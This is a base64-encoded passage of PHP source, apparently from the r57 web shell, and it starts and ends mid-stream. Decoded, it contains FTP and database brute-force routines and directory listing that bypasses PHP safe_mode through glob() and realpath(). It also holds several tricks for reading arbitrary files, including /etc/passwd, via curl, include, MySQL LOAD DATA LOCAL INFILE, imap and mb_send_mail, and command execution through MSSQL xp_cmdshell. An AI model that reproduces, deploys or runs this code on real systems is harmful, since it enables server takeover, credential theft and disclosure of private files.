ZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9CiAgIH0KICB9CiBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsKICRfUE9TVFsnY21kJ10gPSAiIjsKIH0KCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKSB8fCAoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIikpKQogewogaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpewogIGxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsKICBpZihlbXB0eSgkZnRwX3BvcnQpKSB7ICRmdHBfcG9ydCA9IDIxOyB9CiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CiB9ZWxzZSBpZigkX1BPU1RbJ2NtZCddPT0iZGJfYnJ1dGUiKXsKICAgJGNvbm5lY3Rpb24gPSAxOwogfQogaWYoISRjb25uZWN0aW9uKSB7IGVycigzKTsgJF9QT1NUWydjbWQnXSA9ICIiOyB9CiBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykgJiYgKCEkdXNlcnM9Z2V0X3VzZXJzKCcvZXRjL3Bhc3N3ZCcpKSl7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9CiBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0nZGljJykgJiYgKCEkdXNlcnM9Z2V0X3VzZXJzKCRfUE9TVFsnZGljdGlvbmFyeSddKSkpeyBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj5DYW5cJ3QgZ2V0IHBhc3N3b3JkIGxpc3Q8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQogaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpe0BmdHBfY2xvc2UoJGNvbm5lY3Rpb24pO30KIH0KCmVjaG8gJHRhYmxlX3VwMzsKaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmICEkc2FmZV9tb2RlKSB7ICRfUE9TVFsnY21kJ109KCEkdW5peCk/KCJkaXIiKTooImxzIC1saWEiKTsgfQplbHNlIGlmKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRzYWZlX21vZGUpeyAkX1BPU1RbJ2NtZCddPSJzYWZlX2RpciI7IH0KZWNobyAkZm9udC4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MSddLiI6IDxiPiIuJF9QT1NUWydjbWQnXS4iPC9iPjwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48Yj48ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1yZXBvcnQgY29scz0xMjEgcm93cz0xNT4iOwppZigkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpCnsKIHN3aXRjaCgkX1BPU1RbJ2NtZCddKQogewogY2FzZSAnc2FmZV9kaXInOgogCiAgaWYgKEBmdW5jdGlvbl9leGlzdHMoJ3NjYW5kaXInKSAmJiAoJGQ9QHNjYW5kaXIoJGRpcikpICYmICFpc3NldCgkX1BPU1RbJ2dsb2InXSkgJiYgIWlzc2V0KCRfUE9TVFsncmVhbHBhdGgnXSkpCiAgIHsKICAgZm9yZWFjaCAoJGQgYXMgJGZpbGUpCiAgICB7CiAgICAgaWYgKCRmaWxlPT0iLiIgfHwgJGZpbGU9PSIuLiIpIGNvbnRpbnVlOwogICAgIEBjbGVhcnN0YXRjYWNoZSgpOwogICAgIEBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsKICAgICBpZighJHVuaXgpeyAKICAgICBlY2hvIGRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTsKICAgICBpZihAaXNfZGlyKCRmaWxlKSkgZWNobyAiICA8RElSPiAiOyBlbHNlIHByaW50ZigiJSA3cyAiLCRzaXplKTsKICAgICB9CiAgICAgZWxzZXsgCiAgICAgaWYoQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKXsKICAgICAgJG93bmVyID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOwogICAgICAkZ3JnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7CiAgICAgfWVsc2V7JG93bmVyWyduYW1lJ109JGdyZ2lkWyduYW1lJ109Jyc7fQogICAgIGVjaG8gJGlub2RlLiIgIjsKICAgICBlY2hvIHBlcm1zKEBmaWxlcGVybXMoJGZpbGUpKTsKICAgICBAcHJpbnRmKCIlIDRkICUgOXMgJSA5cyAlN3MgIiwkbmxpbmssJG93bmVyWyduYW1lJ10sJGdyZ2lkWyduYW1lJ10sJHNpemUpOwogICAgIGVjaG8gQGRhdGUoImQubS5ZIEg6aSAiLCRtdGltZSk7CiAgICAgfQogICAgIGVjaG8gIiRmaWxlXG4iOwogICAgfQogICB9CgogIGVsc2VpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZGlyJykgJiYgKCRkPUBkaXIoJGRpcikpICYmICFpc3NldCgkX1BPU1RbJ2dsb2InXSkgJiYgIWlzc2V0KCRfUE9TVFsncmVhbHBhdGgnXSkpCiAgIHsKICAgd2hpbGUgKGZhbHNlIT09KCRmaWxlPSRkLT5yZWFkKCkpKQogICAgewogICAgIGlmICgkZmlsZT09Ii4iIHx8ICRmaWxlPT0iLi4iKSBjb250aW51ZTsKICAgICBAY2xlYXJzdGF0Y2FjaGUoKTsKICAgICBAbGlzdCAoJGRldiwgJGlub2RlLCAkaW5vZGVwLCAkbmxpbmssICR1aWQsICRnaWQsICRpbm9kZXYsICRzaXplLCAkYXRpbWUsICRtdGltZSwgJGN0aW1lLCAkYnNpemUpID0gc3RhdCgkZmlsZSk7CiAgICAgaWYoISR1bml4KXsgCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkiLCRtdGltZSk7CiAgICAgaWYoQGlzX2RpcigkZmlsZSkpIGVjaG8gIiAgPERJUj4gIjsgZWxzZSBwcmludGYoIiUgN3MgIiwkc2l6ZSk7CiAgICAgfQogICAgIGVsc2V7IAogICAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSl7CiAgICAgICRvd25lciA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKICAgICAgJGdyZ2lkID0gQHBvc2l4X2dldGdyZ2lkKCRnaWQpOwogICAgIH1lbHNleyRvd25lclsnbmFtZSddPSRncmdpZFsnbmFtZSddPScnO30KICAgICBlY2hvICRpbm9kZS4iICI7CiAgICAgZWNobyBwZXJtcyhAZmlsZXBlcm1zKCRmaWxlKSk7CiAgICAgQHByaW50ZigiJSA0ZCAlIDlzICUgOXMgJTdzICIsJG5saW5rLCRvd25lclsnbmFtZSddLCRncmdpZFsnbmFtZSddLCRzaXplKTsKICAgICBlY2hvIEBkYXRlKCJkLm0uWSBIOmkgIiwkbXRpbWUpOwogICAgIH0KICAgICBlY2hvICIkZmlsZVxuIjsKICAgIH0KICAgJGQtPmNsb3NlKCk7CiAgIH0KICAgCiAgZWxzZWlmIChAZnVuY3Rpb25fZXhpc3RzKCdvcGVuZGlyJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncmVhZGRpcicpICYmICgkZD1Ab3BlbmRpcigkZGlyKSkgJiYgIWlzc2V0KCRfUE9TVFsnZ2xvYiddKSAmJiAhaXNzZXQoJF9QT1NUWydyZWFscGF0aCddKSkKICAgewogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9QHJlYWRkaXIoJGQpKSkKICAgIHsKICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7CiAgICAgQGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgQGxpc3QgKCRkZXYsICRpbm9kZSwgJGlub2RlcCwgJG5saW5rLCAkdWlkLCAkZ2lkLCAkaW5vZGV2LCAkc2l6ZSwgJGF0aW1lLCAkbXRpbWUsICRjdGltZSwgJGJzaXplKSA9IHN0YXQoJGZpbGUpOwogICAgIGlmKCEkdW5peCl7IAogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppIiwkbXRpbWUpOwogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOwogICAgIH0KICAgICBlbHNleyAKICAgICBpZihAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpewogICAgICAkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVpZCk7CiAgICAgICRncmdpZCA9IEBwb3NpeF9nZXRncmdpZCgkZ2lkKTsKICAgICB9ZWxzZXskb3duZXJbJ25hbWUnXT0kZ3JnaWRbJ25hbWUnXT0nJzt9CiAgICAgZWNobyAkaW5vZGUuIiAiOwogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOwogICAgIEBwcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7CiAgICAgZWNobyBAZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTsKICAgICB9CiAgICAgZWNobyAiJGZpbGVcbiI7CiAgICB9CiAgIEBjbG9zZWRpcigkZCk7CiAgIH0KCiAgIGVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdnbG9iJykgJiYgKGlzc2V0KCRfUE9TVFsnZ2xvYiddKSB8fCAhaXNzZXQoJF9QT1NUWydyZWFscGF0aCddKSkpCiAgICB7CiAgICAgICBlY2hvICJQSFAgZ2xvYigpIGxpc3RpbmcgZGlyZWN0b3J5IFNhZmVfbW9kZSBieXBhc3MgRXhwbG9pdFxyXG5cclxuIjsKICAgICAgIGZ1bmN0aW9uIGVoKCRlcnJubywgJGVycnN0ciwgJGVycmZpbGUsICRlcnJsaW5lKQogICAgICAgIHsKICAgICAgICAgIGdsb2JhbCAkRCwgJGMsICRpOyAKICAgICAgICAgIHByZWdfbWF0Y2goIi9TQUZFXCBNT0RFXCBSZXN0cmljdGlvblwgaW5cIGVmZmVjdFwuLip3aG9zZVwgdWlkXCBpcyguKilpc1wgbm90XCBhbGxvd2VkXCB0b1wgYWNjZXNzKC4qKW93bmVkIGJ5IHVpZCguKikvIiwgJGVycnN0ciwgJG8pOyAKICAgICAgICAgIGlmKCRvKXsgJERbJGNdID0gJG9bMl07ICRjKys7fSAKICAgICAgICB9CiAgICAgICAkZXJyb3JfcmVwb3J0aW5nID0gQGluaV9nZXQoJ2Vycm9yX3JlcG9ydGluZycpOwogICAgICAgZXJyb3JfcmVwb3J0aW5nKEVfV0FSTklORyk7IAogICAgICAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMSk7IAogICAgICAgQGluaV9hbHRlcigiZGlzcGxheV9lcnJvcnMiLCAxKTsgCiAgICAgICAkcm9vdCA9ICIvIjsgCiAgICAgICBpZigkZGlyKSAkcm9vdCA9ICRkaXI7IAogICAgICAgJGMgPSAwOyAkRCA9IGFycmF5KCk7IAogICAgICAgQHNldF9lcnJvcl9oYW5kbGVyKCJlaCIpOyAKICAgICAgICRjaGFycyA9ICJfLS4wMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7IAogICAgICAgZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaGFycyk7ICRpKyspCiAgICAgICB7CiAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19IjsgCiAgICAgICAgJHByZXZEID0gJERbY291bnQoJEQpLTFdOyAKICAgICAgICBAZ2xvYigkcGF0aC4iKiIpOyAKICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEKQogICAgICAgICB7CiAgICAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKyspCiAgICAgICAgICAgewogICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX0iOyAKICAgICAgICAgICAgJHByZXZEMiA9ICREW2NvdW50KCREKS0xXTsgCiAgICAgICAgICAgIEBnbG9iKCRwYXRoLiIqIik7IAogICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMikKICAgICAgICAgICAgIHsKICAgICAgICAgICAgICBmb3IoJHA9MDsgJHAgPCBzdHJsZW4oJGNoYXJzKTsgJHArKykKICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19IjsgCiAgICAgICAgICAgICAgICAkcHJldkQzID0gJERbY291bnQoJEQpLTFdOyAKICAgICAgICAgICAgICAgIEBnbG9iKCRwYXRoLiIqIik7IAogICAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDMpCiAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICBmb3IoJHI9MDsgJHIgPCBzdHJsZW4oJGNoYXJzKTsgJHIrKykKICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX17JGNoYXJzWyRyXX0iOyAKICAgICAgICAgICAgICAgICAgICBAZ2xvYigkcGF0aC4iKiIpOyAKICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgfSAgICAgICAgCiAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICB9ICAgICAgICAKICAgICAgICAgICB9ICAgIAogICAgICAgICB9IAogICAgICAgfSAKICAgICAgICREID0gYXJyYXlfdW5pcXVlKCREKTsgCiAgICAgICBmb3JlYWNoKCREIGFzICRpdGVtKSBlY2hvICJ7JGl0ZW19XHJcbiI7IAogICAgICAgZWNobyAiXHJcbiBHZW5lcmF0aW9uIHRpbWU6ICIucm91bmQoQGdldG1pY3JvdGltZSgpLXN0YXJ0dGltZSw0KS4iIHNlY1xyXG4iOwogICAgICAgZXJyb3JfcmVwb3J0aW5nKCRlcnJvcl9yZXBvcnRpbmcpOwogICAgfQogICAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3JlYWxwYXRoJykgJiYgKCFpc3NldCgkX1BPU1RbJ2dsb2InXSkgfHwgaXNzZXQoJF9QT1NUWydyZWFscGF0aCddKSkpCiAgICB7CiAgICAgICBlY2hvICJQSFAgcmVhbHBhdGgoKSBsaXN0aW5nIGRpcmVjdG9yeSBTYWZlX21vZGUgYnlwYXNzIEV4cGxvaXRcclxuXHJcbiI7CiAgICAgICBpZighJGRpcil7JGRpcj0nL2V0Yy8nO307IAogICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnZW5kX3JscGgnXSkpeyRlbmRfcmxwaD0kX1BPU1RbJ2VuZF9ybHBoJ107fWVsc2V7JGVuZF9ybHBoPScnO30KICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25fcmxwaCddKSl7JG5fcmxwaD0kX1BPU1RbJ25fcmxwaCddO31lbHNleyRuX3JscGg9JzMnO30KCiAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4nLycpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7fQogICAgICAgaWYoJGVuZF9ybHBoIT0nJyAmJiAkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4nLycuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgIGZvcmVhY2goJHByZXNldHNfcmxwaCBhcyAkcHJlc2V0X3JscGgpewogICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLicvJy4kcHJlc2V0X3JscGguJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgIH0KICAgICAgIGZvcigkaT0wOyAkaSA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICRpKyspewogICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgICAgIGlmKCRuX3JscGg8PTEpe2NvbnRpbnVlO307CiAgICAgICAgICBmb3IoJGo9MDsgJGogPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkaisrKXsKICAgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgICAgICAgIGlmKCRuX3JscGg8PTIpe2NvbnRpbnVlO307CiAgICAgIAkgICAgIGZvcigkeD0wOyAkeCA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICR4KyspewogICAgICAgICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfXskY2hhcnNfcmxwaFskal19eyRjaGFyc19ybHBoWyR4XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9CiAgICAgICAgICAgICAgICBpZigkbl9ybHBoPD0zKXtjb250aW51ZTt9OwogICAgICAgICAgICAgICAgZm9yKCR5PTA7ICR5IDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJHkrKyl7CiAgICAgIAkgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFyc19ybHBoWyR5XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9CiAgICAgIAkgICAgICAgICAgIGlmKCRuX3JscGg8PTQpe2NvbnRpbnVlO307CiAgICAgIAkgICAgICAgICAgIGZvcigkej0wOyAkeiA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICR6KyspewogICAgICAJICAgICAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19eyRjaGFyc19ybHBoWyRqXX17JGNoYXJzX3JscGhbJHhdfXskY2hhcnNfcmxwaFskeV19eyRjaGFyc19ybHBoWyR6XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9CiAgICAgIAkgICAgICAgICAgICAgIGlmKCRuX3JscGg8PTUpe2NvbnRpbnVlO307CiAgICAgIAkgICAgICAgICAgICAgIGZvcigkdz0wOyAkdyA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICR3KyspewogICAgICAJICAgICAgICAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19eyRjaGFyc19ybHBoWyRqXX17JGNoYXJzX3JscGhbJHhdfXskY2hhcnNfcmxwaFskeV19eyRjaGFyc19ybHBoWyR6XX17JGNoYXJzX3JscGhbJHddfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgCQkgICAgICB9CiAgICAgIAkJICAgfQogICAgICAJICAgICAgICAgfQogICAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgIH0KICAgICAgIGVjaG8gIlxyXG4gR2VuZXJhdGlvbiB0aW1lOiAiLnJvdW5kKEBnZXRtaWNyb3RpbWUoKS1zdGFydHRpbWUsNCkuIiBzZWNcclxuIjsKICAgIH0KICAgIGVsc2UgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjknXTsKIGJyZWFrOwogIGNhc2UgJ3Rlc3QxJzoKICAkY2kgPSBAY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk7CiAgJGNmID0gQGN1cmxfZXhlYygkY2kpOwogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY2YpOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QyJzoKICBAaW5jbHVkZSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDMnOgogIGlmKGVtcHR5KCRfUE9TVFsndGVzdDNfcG9ydCddKSkgeyAkX1BPU1RbJ3Rlc3QzX3BvcnQnXSA9ICIzMzA2IjsgfQogICRkYiA9IEBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3Q6Jy4kX1BPU1RbJ3Rlc3QzX3BvcnQnXSwkX1BPU1RbJ3Rlc3QzX21sJ10sJF9QT1NUWyd0ZXN0M19tcCddKTsKICBpZigkZGIpCiAgIHsKICAgaWYoQG15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3QzX21kJ10sJGRiKSkKICAgIHsKICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlIik7CiAgICAgQG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRlbXBfcjU3X3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7Ci8qICAgICBAbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLiRfUE9TVFsndGVzdDNfZmlsZSddLiJcIiBJTlRPIFRBQkxFIHRlbXBfcjU3X3RhYmxlIik7Ki8KICAgICBAbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgXCIiLiRfUE9TVFsndGVzdDNfZmlsZSddLiJcIiBJTlRPIFRBQkxFIHRlbXBfcjU3X3RhYmxlIik7CiAgICAgJHIgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGVtcF9yNTdfdGFibGUiKTsKICAgICB3aGlsZSgoJHJfc3FsID0gQG15c3FsX2ZldGNoX2FycmF5KCRyKSkpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkcl9zcWxbMF0pLiJcclxuIjsgfQogICAgIEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdGVtcF9yNTdfdGFibGUiKTsKICAgIH0KICAgIGVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOwogICBAbXlzcWxfY2xvc2UoJGRiKTsKICAgfQogIGVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIG15c3FsIHNlcnZlciI7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDQnOgogIGlmKGVtcHR5KCRfUE9TVFsndGVzdDRfcG9ydCddKSkgeyAkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSA9ICIxNDMzIjsgfQogICRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTsKICBpZigkZGIpCiAgIHsKICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ10sJGRiKSkKICAgIHsKICAgICBAbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFibGUiLCRkYik7CiAgICAgQG1zc3FsX3F1ZXJ5KCJjcmVhdGUgdGFibGUgcjU3X3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsKICAgICBAbXNzcWxfcXVlcnkoImluc2VydCBpbnRvIHI1N190ZW1wX3RhYmxlIEVYRUMgbWFzdGVyLmRiby54cF9jbWRzaGVsbCAnIi4kX1BPU1RbJ3Rlc3Q0X2ZpbGUnXS4iJyIsJGRiKTsKICAgICAkcmVzID0gbXNzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gcjU3X3RlbXBfdGFibGUiLCRkYik7CiAgICAgd2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX3JvdygkcmVzKSkpCiAgICAgIHsKICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcclxuIjsKICAgICAgfQogICAgQG1zc3FsX3F1ZXJ5KCJkcm9wIHRhYmxlIHI1N190ZW1wX3RhYmxlIiwkZGIpOwogICAgfQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7CiAgIEBtc3NxbF9jbG9zZSgkZGIpOwogICB9CiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTVNTUUwgc2VydmVyIjsKICBicmVhazsKICBjYXNlICd0ZXN0NSc6CiAgJHRlbXA9dGVtcG5hbSgkZGlyLCAiZm5hbWUiKTsKICBpZiAoQGZpbGVfZXhpc3RzKCR0ZW1wKSkgQHVubGluaygkdGVtcCk7CiAgJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAkdGVtcCI7CiAgQG1iX3NlbmRfbWFpbChOVUxMLCBOVUxMLCBOVUxMLCBOVUxMLCAkZXh0cmEpOwogICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIEB1bmxpbmsoJHRlbXApOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3Q2JzoKICAkc3RyZWFtID0gQGltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCAiIiwgIiIpOwogICRkaXJfbGlzdCA9IEBpbWFwX2xpc3QoJHN0cmVhbSwgdHJpbSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSksICIqIik7CiAgZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGRpcl9saXN0KTsgJGkrKykgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXJfbGlzdFskaV0pLiJcclxuIjsKICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsKICBicmVhazsKICBjYXNlICd0ZXN0Nyc6CiAgJHN0cmVhbSA9IEBpbWFwX29wZW4oJF9QT1NUWyd0ZXN0N19maWxlJ10sICIiLCAiIik7CiAgJHN0ciA9IEBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3Q4JzoKICAkdGVtcD1AdGVtcG5hbSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10sICJjb3B5dGVtcCIpOwogICRzdHIgPSByZWFkemxpYigkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10sJHRlbXApOwogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsKICBAdW5saW5rKCR0ZW1wKTsKICBicmVhazsKICBjYXNlICd0ZXN0OSc6CiAgQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKICBAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOwogICRzdHIgPSBtb3JlcmVhZCgkX1BPU1RbJ3Rlc3Q5X2ZpbGUnXSk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogI